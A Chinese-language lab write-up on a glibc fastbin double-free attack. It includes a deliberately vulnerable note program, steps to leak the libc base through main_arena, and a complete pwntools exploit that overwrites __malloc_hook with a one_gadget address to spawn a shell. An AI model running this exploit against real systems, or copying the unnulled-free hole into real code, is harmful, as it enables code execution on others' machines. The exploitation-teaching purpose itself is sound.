使用电脑浏览效果更佳!
摘要
主要通过Double Free在fast binY单链中存在两个指向同一内存块的指针,可能的排布(A2->B-A1),第一次malloc该大小拿到A2指向该chunk,向其数据data写入__malloc_hook
的地址(同时也修改了A1的fd,即也在该大小的fast bin的尾部增加了一个地址为__malloc_hook
的内存chunk[fake chunk]),所以当依次拿掉B,A1后,在malloc一次即可获取到指向__malloc_hook
地址的指针,这时候你就爽了,通过修改其为其他函数地址(如one_gadget),malloc函数检查到__malloc_hook
被设置后转向该hook函数进行“自定义”的malloc内存分配,即开了一个shell。
分析
void delete_note(){
printf("index:");
int idx = read_int();
if(note[idx]){ //指针不为NULL就delete
free(note[idx]);
//note[idx] = 0 double free
return;
}
puts("No such note");
}
利用
利用main_arena leak libc base address
原理:main_arena 为libc动态共享库的数据段中一个全局变量,unsorted bin为一个双向链表,当一个chunk size 大于fast bin最大值的时候被放入的是unsorted bin,因为此刻是第一个chunk加入到unsorted bin,所以该chunk的fd,bk指针都指向main_arena地址,只要知道main_arena在该版本libc的偏移量就可以利用libc base = leaked_main_arena_addresss - libc_base_maps计算,其中libc_base_maps为关闭系统的aslr后程序加载libc的基地址:
参考:http://eternalsakura13.com/2018/04/03/babyheap/
cat /proc/sys/kernel/randomize_va_space # 0,1,2
# root 下通过 echo 0 > /proc/sys/kernel/randomize_va_space 关闭aslr
cat /proc/117818/maps # 查看pid进程的内存映射 ps -aux | grep fast_bin
# gdb下调试查看全局变量的地址
p &__malloc_hook
one_gadget 对应版本libc的offset不同
找到满足rsp+x = null的偏移
运行效果如图
完整程序与exp
- baby_fast_bin_attack
#include
#include
#include
/***************
*简单的利用Double Free 漏洞leak libc地址(修改__malloc_hook为one gadget地址获取shell)fastbin attack
*By yawn
****************/
char *note[10];
int read_int(){
char buf[16];
if (__read_chk(0,buf,15,15)<=0){
puts("read error");
exit(1);
}
return (unsigned int)atoi(buf);
}
void add_note(){
for (int i=0;i<10;++i){
if(!note[i]){
printf("size:");
int size = read_int();
note[i] = malloc(size); //分配size个bytes(字节)
printf("what do you want to write:");
read(0,note[i],size);
return;
}
}
puts("Fulls!");
}
void delete_note(){
printf("index:");
int idx = read_int();
if(note[idx]){ //指针不为NULL就delete
free(note[idx]);
//note[idx] = 0 double free
return;
}
puts("No such note");
}
void show_note(){
printf("index:");
int idx = read_int();
if(note[idx]){
printf("%s",note[idx]);
return;
}
puts("No this note");
}
void menu(){
puts("--------------------");
puts("1.add a note");
puts("2.delete a note");
puts("3.show a note");
puts("4.exit");
puts("--------------------");
puts("Your choice:");
}
int main(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
while(1){
menu();
switch( read_int()){
case 1:
add_note();
break;
case 2:
delete_note();
break;
case 3:
show_note();
break;
case 4:
printf("Bye!\n");
_exit(0);
default:
puts("Invalid choice!");
break;
}
}
return 0;
}
EXP
#!/usr/bin/python # coding:utf-8 from pwn import * p = process("./fast_bin") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def add(size,data): p.sendafter("choice:","1") p.sendafter("size:",str(size)) p.sendafter("write:",data) def free(idx): p.sendafter("choice:","2") p.sendafter("index:",str(idx)) def show(idx): p.sendafter("choice:","3") p.sendafter("index:",str(idx)) add(0x500,'a') # 0,free 掉之后一直都有的0还保留这原来的指针指向chunk add(0x10,'a') # 1 free(0) add(0x500,'a') # 2 show(2) main_arena = p.recv(6).ljust(8,'\x00') libc.address = u64(main_arena)-0x3c4b61 # leak 到 libc的基址 0x61 = a同步不会变 print hex(libc.address)
add(0x68,'a') # 3
add(0x68,'a') # 4
free(3)
free(4)
free(3)
print hex(libc.symbols['__malloc_hook'])
add(0x68,p64(libc.symbols['__malloc_hook']-0x10-3)) # 伪造fake chunk(fast_bin) 分配到libc的内存
add(0x68,'a')
add(0x68,'a') # 露出伪造到libc的地址
one_gadget = 0xf02a4
add(0x68,'y'*3+p64(libc.address + one_gadget))
p.interactive()
```